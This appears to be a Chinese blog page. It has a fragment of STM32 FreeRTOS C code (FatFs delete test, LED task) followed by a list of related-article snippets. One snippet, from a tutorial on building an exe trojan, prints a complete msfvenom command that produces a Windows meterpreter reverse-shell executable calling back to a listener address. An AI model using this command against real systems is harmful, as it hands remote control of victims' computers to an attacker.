//  /*------------------- 文件系统测试:删除测试 ------------------------------------*/FatFs_DeleteFile(USERPath,"test3.txt",USERFile);while (1){// 队列为空时,任务可以进入挂起或等待osDelay(5);}
}void LED_Task(void *argument)
{uint32_t task_cnt=0;printf("***gpioProcess_MainTask is running!!");/* Infinite loop */for(;;){if (task_cnt%5==0)      {HAL_GPIO_TogglePin(LED1_GPIO_Port, LED1_Pin);}task_cnt++;osDelay(30);}
}freertos.c:
void vApplicationStackOverflowHook(xTaskHandle xTask, signed char *pcTaskName)
{printf("Stack overflow in task: %s\n", pcTaskName);/* Run time stack overflow checking is performed ifconfigCHECK_FOR_STACK_OVERFLOW is defined to 1 or 2. This hook function iscalled if a stack overflow is detected. */
}

相关文章:

Cubemx文件系统挂载多设备

cubumx版本&#xff1a;6.13.0 芯片&#xff1a;STM32F407VET6 在上一篇文章中介绍了Cubemx的FATFS和SD卡的配置&#xff0c;由于SD卡使用的是SDIO通讯&#xff0c;因此具体驱动不需要自己实现&#xff0c;Cubemx中就可以直接配置然后生成SDIO的驱动&#xff0c;并将SD卡驱动和…...

NeetCode刷题第19天(2025.1.31)

文章目录 099 Maximum Product Subarray 最大乘积子数组100 Word Break 断字101 Longest Increasing Subsequence 最长递增的子序列102 Maximum Product Subarray 最大乘积子数组103 Partition Equal Subset Sum 分区等于子集和104 Unique Paths 唯一路径105 Longest Common Su…...

网站快速收录:如何设置robots.txt文件?

本文转自&#xff1a;百万收录网 原文链接&#xff1a;https://www.baiwanshoulu.com/34.html 为了网站快速收录而合理设置robots.txt文件&#xff0c;需要遵循一定的规则和最佳实践。robots.txt文件是一个纯文本文件&#xff0c;它告诉搜索引擎爬虫哪些页面可以访问&#xff…...

(超实用教程)利用MSF制作exe程序木马

msfvenom 是攻击载荷&#xff08;payload&#xff09;生成器 格式&#xff1a; msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.110.32 LPORT4456 -f exe -o payload1.exe -p&#xff1a;指定需要使用的payload -f&#xff1a;指定输出格式 -o&#xff1a;保…...

Spring Boot + Facade Pattern : 通过统一接口简化多模块业务

文章目录 Pre概述在编程中&#xff0c;外观模式是如何工作的&#xff1f;外观设计模式 UML 类图外观类和子系统的关系优点案例外观模式在复杂业务中的应用实战运用1. 项目搭建与基础配置2. 构建子系统组件航班服务酒店服务旅游套餐服务 3. 创建外观类4. 在 Controller 中使用外…...

4 [危机13小时追踪一场GitHub投毒事件]

事件概要 自北京时间 2024.12.4 晚间6点起&#xff0c; GitHub 上不断出现“幽灵仓库”&#xff0c;仓库中没有任何代码&#xff0c;只有诱导性的病毒文件。当天&#xff0c;他们成为了 GitHub 上 star 增速最快的仓库。超过 180 个虚假僵尸账户正在传播病毒&#xff0c;等待不…...

Java基础——分层解耦——IOC和DI入门

目录 三层架构 Controller Service Dao ​编辑 调用过程 面向接口编程 分层解耦 耦合 内聚 软件设计原则 控制反转 依赖注入 Bean对象 如何将类产生的对象交给IOC容器管理&#xff1f; 容器怎样才能提供依赖的bean对象呢&#xff1f; 三层架构 Controller 控制…...

10 Flink CDC

10 Flink CDC 1. CDC是什么2. CDC 的种类3. 传统CDC与Flink CDC对比4. Flink-CDC 案例5. Flink SQL 方式的案例 1. CDC是什么 CDC 是 Change Data Capture&#xff08;变更数据获取&#xff09;的简称。核心思想是&#xff0c;监测并捕获数据库的变动&#xff08;包括数据或数…...

F. Greetings

题目链接&#xff1a;Problem - F - Codeforces 题目大意&#xff1a;给你n个线段&#xff0c; 求有多少对&#xff08;两个&#xff09;线段满足完全覆盖&#xff0c; 例如&#xff1a; 设一个线段有a,b两点&#xff0c; 满足 ai < aj < bj < bi (i,j为每个线段的下…...

深度学习练手小例子——cifar10数据集分类问题

CIFAR-10 是一个经典的计算机视觉数据集&#xff0c;广泛用于图像分类任务。它包含 10 个类别的 60,000 张彩色图像&#xff0c;每张图像的大小是 32x32 像素。数据集被分为 50,000 张训练图像和 10,000 张测试图像。每个类别包含 6,000 张图像&#xff0c;具体类别包括&#x…...

Sqoop源码修改:增加落地HDFS文件数与MapTask数量一致性检查

个人博客地址&#xff1a;Sqoop源码修改&#xff1a;增加落地HDFS文件数与MapTask数量一致性检查 | 一张假钞的真实世界 本篇是对记录一次Sqoop从MySQL导入数据到Hive问题的排查经过的补充。 Sqoop 命令通过 bin 下面的脚本调用&#xff0c;调用如下&#xff1a; exec ${HAD…...

FastAPI + GraphQL + SQLAlchemy 实现博客系统

本文将详细介绍如何使用 FastAPI、GraphQL&#xff08;Strawberry&#xff09;和 SQLAlchemy 实现一个带有认证功能的博客系统。 技术栈 FastAPI&#xff1a;高性能的 Python Web 框架Strawberry&#xff1a;Python GraphQL 库SQLAlchemy&#xff1a;Python ORM 框架JWT&…...

AI编程:如何编写提示词

这是小卷对AI编程工具学习的第2篇文章&#xff0c;今天讲讲如何编写AI编程的提示词&#xff0c;并结合实际功能需求案例来进行开发 1.编写提示词的技巧 好的提示词应该是&#xff1a;目标清晰明确&#xff0c;具有针对性&#xff0c;能引导模型理解问题 下面是两条提示词的对…...

【LLM-agent】(task5)构建哲学家多智能体

note 通过编排动作设置哲学家智能体的"示例任务"&#xff0c;目的是让 Agent 更好地理解如何回答问题。主要包括设置示例问题、定义思考过程、应用到所有哲学家。建立了一个"先思考&#xff0c;后总结"的回答模式&#xff0c;这种方式相当于给AI提供了一个…...

31. 下一个排列

参考题解&#xff1a;https://leetcode.cn/problems/next-permutation/solutions/80560/xia-yi-ge-pai-lie-suan-fa-xiang-jie-si-lu-tui-dao- 找到下一个排列&#xff0c;即找到下一个大于当前数的更大的数。 当没有比当前更大的数的时候&#xff0c;那么就返回最小的数&…...

牛客周赛 Round 78

题目目录 A-时间表查询&#xff01;解题思路参考代码 B-一起做很甜的梦&#xff01;解题思路参考代码 C-翻之解题思路参考代码 D-乘之解题思路参考代码 E-在树上游玩解题思路参考代码 A-时间表查询&#xff01; \hspace{15pt} 今天是2025年1月25日&#xff0c;今年的六场牛客寒…...

100.1 AI量化面试题:解释夏普比率(Sharpe Ratio)的计算方法及其在投资组合管理中的应用,并说明其局限性

目录 0. 承前1. 夏普比率的基本概念1.1 定义与计算方法1.2 实际计算示例 2. 在投资组合管理中的应用2.1 投资组合选择2.2 投资组合优化 3. 夏普比率的局限性3.1 统计假设的限制3.2 实践中的问题 4. 改进方案4.1 替代指标4.2 实践建议 5. 回答话术 0. 承前 如果想更加全面清晰地…...

jEasyUI 转换 HTML 表格为数据网格

jEasyUI 转换 HTML 表格为数据网格 引言 随着互联网技术的飞速发展,前端框架和库的应用越来越广泛。jEasyUI 是一款功能强大的 jQuery UI 扩展库,它提供了丰富的 UI 组件,其中数据网格(DataGrid)是 jEasyUI 中一个非常重要的组件。本文将详细介绍如何使用 jEasyUI 将一个…...

好用的翻译工具

最近看到个好用的翻译工具&#xff0c;叫沉浸式翻译 沉浸式翻译 - 双语对照网页翻译插件 | PDF翻译 | 视频字幕翻译 我下载的是谷歌插件 点击下载插件会跳转到使用文档&#xff0c;跟着一步步操作即可 翻译的效果&#xff0c;我这里用的是免费版的&#xff0c;如果需要加强&…...

Selenium 使用指南:从入门到精通

Selenium 使用指南&#xff1a;从入门到精通 Selenium 是一个用于自动化 Web 浏览器操作的强大工具&#xff0c;广泛应用于自动化测试和 Web 数据爬取中。本文将带你从入门到精通地掌握 Selenium&#xff0c;涵盖其基本操作、常用用法以及一个完整的图片爬取示例。 1. 环境配…...

字节iOS面试经验分享:HTTP与网络编程

字节iOS面试经验分享&#xff1a;HTTP与网络编程 &#x1f31f; 嗨&#xff0c;我是LucianaiB&#xff01; &#x1f30d; 总有人间一两风&#xff0c;填我十万八千梦。 &#x1f680; 路漫漫其修远兮&#xff0c;吾将上下而求索。 目录 字节iOS面试经验分享&#xff1a;HTT…...

10.7 LangChain Models深度解析:解锁大模型集成与调优的全景攻略

LangChain Models深度解析:解锁大模型集成与调优的全景攻略 关键词: LangChain Models模块、大模型集成、LLM调用优化、多模型管理、本地模型部署 一、Models模块的定位:大模型应用的“中央调度器” 传统开发的痛点: 碎片化集成:每个模型需单独编写适配代码性能黑洞:缺…...

本地部署 DeepSeek-R1:简单易上手,AI 随时可用!

&#x1f3af; 先看看本地部署的运行效果 为了测试本地部署的 DeepSeek-R1 是否真的够强&#xff0c;我们随便问了一道经典的“鸡兔同笼”问题&#xff0c;考察它的推理能力。 &#x1f4cc; 问题示例&#xff1a; 笼子里有鸡和兔&#xff0c;总共有 35 只头&#xff0c;94 只…...

cf集合***

当周cf集合&#xff0c;我也不知道是不是当周的了&#xff0c;麻了&#xff0c;下下周争取写到e补f C. Kevin and Puzzle&#xff08;999&#xff09; 题解&#xff1a;一眼动态规划&#xff0c;但是具体这个状态应该如何传递呢&#xff1f; 关键点&#xff1a;撒谎的人不相…...

【机器学习理论】生成模型和判别模型

生成模型和判别模型是机器学习中两种不同的建模方式。生成模型关注的是联合概率分布 P ( X , Y ) P(X, Y) P(X,Y)&#xff0c;即同时考虑数据 X X X和标签 Y Y Y的关系&#xff1b;判别模型则直接学习条件概率 P ( Y ∣ X ) P(Y|X) P(Y∣X)或决策边界。 生成模型 生成模型的目…...

图漾相机——C++语言属性设置

文章目录 前言1.SDK API功能介绍1.1 Device组件下的API测试1.1.1 相机工作模式设置&#xff08;TY_TRIGGER_PARAM_EX&#xff09;1.1.2 TY_INT_FRAME_PER_TRIGGER1.1.3 TY_INT_PACKET_DELAY1.1.4 TY_INT_PACKET_SIZE1.1.5 TY_BOOL_GVSP_RESEND1.1.6 TY_BOOL_TRIGGER_OUT_IO1.1.…...

如何在Windows、Linux和macOS上安装Rust并完成Hello World

如何在Windows、Linux和macOS上安装Rust并完成Hello World 如果你刚刚开始学习Rust&#xff0c;第一步就是安装Rust并运行你的第一个程序&#xff01;本文将详细介绍如何在Windows、Linux和macOS上安装Rust&#xff0c;并编写一个简单的“Hello, World!”程序。 1. 安装Rust …...

基于VMware的ubuntu与vscode建立ssh连接

1.首先安装openssh服务 sudo apt update sudo apt install openssh-server -y 2.启动并检查ssh服务状态 到这里可以按q退出 之后输入命令 &#xff1a; ip a 红色挡住的部分就是我们要的地址&#xff0c;这里就不展示了哈 3.配置vscode 打开vscode 搜索并安装&#xff1a;…...

Redis 集合(Set)

Redis 集合(Set) 引言 Redis 是一款高性能的键值存储数据库,其支持多种数据结构,其中包括集合(Set)。集合是一个无序的、元素唯一的集合数据结构,它非常适合存储需要去重和高效检索的数据。本文将详细介绍 Redis 集合的数据结构、操作方法以及应用场景。 Redis 集合数…...

(笔记+作业)书生大模型实战营春节卷王班---L0G2000 Python 基础知识

学员闯关手册&#xff1a;https://aicarrier.feishu.cn/wiki/QtJnweAW1iFl8LkoMKGcsUS9nld 课程视频&#xff1a;https://www.bilibili.com/video/BV13U1VYmEUr/ 课程文档&#xff1a;https://github.com/InternLM/Tutorial/tree/camp4/docs/L0/Python 关卡作业&#xff1a;htt…...

stm32硬件实现与w25qxx通信

使用的型号为stm32f103c8t6与w25q64。 STM32CubeMX配置与引脚衔接 根据stm32f103c8t6引脚手册&#xff0c;采用B12-B15四个引脚与W25Q64连接&#xff0c;实现SPI通信。 W25Q64SCK&#xff08;CLK&#xff09;PB13MOSI&#xff08;DI&#xff09;PB15MISO(DO)PB14CS&#xff08…...

群晖Alist套件无法挂载到群晖webdav,报错【连接被服务器拒绝】

声明&#xff1a;我不是用docker安装的 在套件中心安装矿神的Alist套件后&#xff0c;想把夸克挂载到群晖上&#xff0c;方便复制文件的&#xff0c;哪知道一直报错&#xff0c;最后发现问题出在两个地方&#xff1a; 1&#xff09;挂载的路径中&#xff0c;直接填 dav &…...

MySQL 如何深度分页问题

在实际的数据库应用场景中&#xff0c;我们常常会遇到需要进行分页查询的需求。对于少量数据的分页查询&#xff0c;MySQL 可以轻松应对。然而&#xff0c;当我们需要进行深度分页&#xff08;即从大量数据的中间位置开始获取少量数据&#xff09;时&#xff0c;就会面临性能严…...

科技快讯 | OpenAI首次向免费用户开放推理模型;特朗普与黄仁勋会面;雷军回应“10后小学生深情表白小米SU7”

不用开口&#xff1a;谷歌 AI 帮你致电商家&#xff0c;价格、预约一键搞定 谷歌在1月30日推出Search Labs中的“Ask for Me”实验性功能&#xff0c;用户可利用AI代替自己致电商家咨询价格和服务。该功能已与美汽车修理厂和美甲沙龙店合作&#xff0c;用户需加入Search Labs并…...

2.1刷题日记

1.338. 比特位计数 - 力扣&#xff08;LeetCode&#xff09; class Solution { public:vector<int> countBits(int n) {vector<int>ans(n1,0);ans[0]0;for(int i1;i<n;i){if(i%21){ans[i]ans[i-1]1;}else{ans[i]ans[i/2];}}return ans;} }; 利用奇数与偶数来进…...

nth_element函数——C++快速选择函数

目录 1. 函数原型 2. 功能描述 3. 算法原理 4. 时间复杂度 5. 空间复杂度 6. 使用示例 8. 注意事项 9. 自定义比较函数 11. 总结 nth_element 是 C 标准库中提供的一个算法&#xff0c;位于 <algorithm> 头文件中&#xff0c;用于部分排序序列。它的主要功能是将…...

C#接口(Interface)

C#中的接口 接口是C#中一种重要的概念&#xff0c;它定义了一组函数成员&#xff0c;但不实现它们。接口提供了一种标准结构&#xff0c;使得实现接口的类或结构在形式上保持一致。接口定义了属性、方法和事件&#xff0c;这些都是接口的成员&#xff0c;但接口只包含成员的声…...

002 mapper代理开发方式-xml方式

文章目录 代理xml方式UserMapper.javaUser.javadb.propertiesSqlMapConfig.xmlUserMapper.xmlUserMapperTest.javapom.xml 代理 此处使用的是JDK的动态代理方式&#xff0c;延迟加载使用的cglib动态代理方式 代理分为静态代理和动态代理。此处先不说静态代理&#xff0c;因为…...

网络原理(3)—— 传输层详解

目录 一. 再谈端口号 二. UDP协议(用户数据报协议) 2.1 UDP协议端格式 2.2 UDP报文长度 2.3 UDP校验和 三. TCP协议(传输控制协议) 3.1 TCP协议段格式 3.2 核心机制 3.2.1 确认应答 —— “感知对方是否收到” 3.2.2 超时重传 3.3.3 连接管理 —— 三次握手与四…...

深度学习 Pytorch 神经网络的学习

本节将从梯度下降法向外拓展&#xff0c;介绍更常用的优化算法&#xff0c;实现神经网络的学习和迭代。在本节课结束将完整实现一个神经网络训练的全流程。 对于像神经网络这样的复杂模型&#xff0c;可能会有数百个 w w w的存在&#xff0c;同时如果我们使用的是像交叉熵这样…...

【机器学习】自定义数据集 使用pytorch框架实现逻辑回归并保存模型,然后保存模型后再加载模型进行预测,对预测结果计算精确度和召回率及F1分数

一、使用pytorch框架实现逻辑回归 1. 数据部分&#xff1a; 首先自定义了一个简单的数据集&#xff0c;特征 X 是 100 个随机样本&#xff0c;每个样本一个特征&#xff0c;目标值 y 基于线性关系并添加了噪声。将 numpy 数组转换为 PyTorch 张量&#xff0c;方便后续在模型中…...

深入理解linux中的文件(上)

1.前置知识&#xff1a; &#xff08;1&#xff09;文章 内容 属性 &#xff08;2&#xff09;访问文件之前&#xff0c;都必须打开它&#xff08;打开文件&#xff0c;等价于把文件加载到内存中&#xff09; 如果不打开文件&#xff0c;文件就在磁盘中 &#xff08;3&…...

分布式微服务系统架构第90集:现代化金融核心系统

#1.1 深化数字化转型&#xff0c;核心面临新挑战 1、架构侧&#xff1a;无法敏捷协同数字金融经营模式转型。 2、需求侧&#xff1a;业务需求传导低效始终困扰金融机构。 3、开发侧&#xff1a;创新产品上市速度低于期望。 4、运维侧&#xff1a;传统面向资源型监控体系难以支撑…...

Vue简介

目录 Vue是什么&#xff1f;为什么要使用Vue&#xff1f;Vue的三种加载方式拓展&#xff1a;什么是渐进式框架&#xff1f; Vue是什么&#xff1f; Vue是一套用于构建用户界面的渐进式 JavaScript (主张最少)框架 &#xff0c;开发者只需关注视图层。另一方面&#xff0c;当与…...

【Linux】从零开始:编写你的第一个Linux进度条小程序

Linux相关知识点可以通过点击以下链接进行学习一起加油&#xff01;初识指令指令进阶权限管理yum包管理与vim编辑器GCC/G编译器make与Makefile自动化构建GDB调试器与Git版本控制工具 &#x1f308;个人主页&#xff1a;是店小二呀 &#x1f308;C语言专栏&#xff1a;C语言 &am…...

FFmpeg工具使用基础

一、FFmpeg工具介绍 FFmpeg命令行工具主要包括以下几个部分: ‌ffmpeg‌:编解码工具‌ffprobe‌:多媒体分析器‌ffplay‌:简单的音视频播放器这些工具共同构成了FFmpeg的核心功能,支持各种音视频格式的处理和转换‌ 二、在Ubuntu18.04上安装FFmpeg工具 1、sudo apt-upda…...

数据库管理-第287期 Oracle DB 23.7新特性一览(20250124)

数据库管理287期 2025-01-24 数据库管理-第287期 Oracle DB 23.7新特性一览&#xff08;20250124&#xff09;1 AI向量搜索&#xff1a;算术和聚合运算2 更改Compatible至23.6.0&#xff0c;以使用23.6或更高版本中的新AI向量搜索功能3 Cloud Developer包4 DBMS_DEVELOPER.GET_…...

快速提升网站收录:利用网站FAQ页面

本文转自&#xff1a;百万收录网 原文链接&#xff1a;https://www.baiwanshoulu.com/48.html 利用网站FAQ&#xff08;FrequentlyAskedQuestions&#xff0c;常见问题解答&#xff09;页面是快速提升网站收录的有效策略之一。以下是一些具体的方法和建议&#xff0c;以帮助你…...

AtCoder Beginner Contest 391(ABCDE)

A - Lucky Direction 翻译&#xff1a; 给你一个字符串 D&#xff0c;代表八个方向&#xff08;北、东、西、南、东北、西北、东南、西南&#xff09;之一。方向与其代表字符串之间的对应关系如下。 北&#xff1a; N东&#xff1a; E西&#xff1a; W南&#xff1a; S东…...

解决Django非ORM模型提示初始化request问题

提问 Django在DRF时候自定义显示一些非model的字段提示TypeError: Field.__init__() got an unexpected keyword argument request 解答1 错误提示 TypeError: Field.__init__() got an unexpected keyword argument request 显示在创建序列化器实例时&#xff0c;传递了一个…...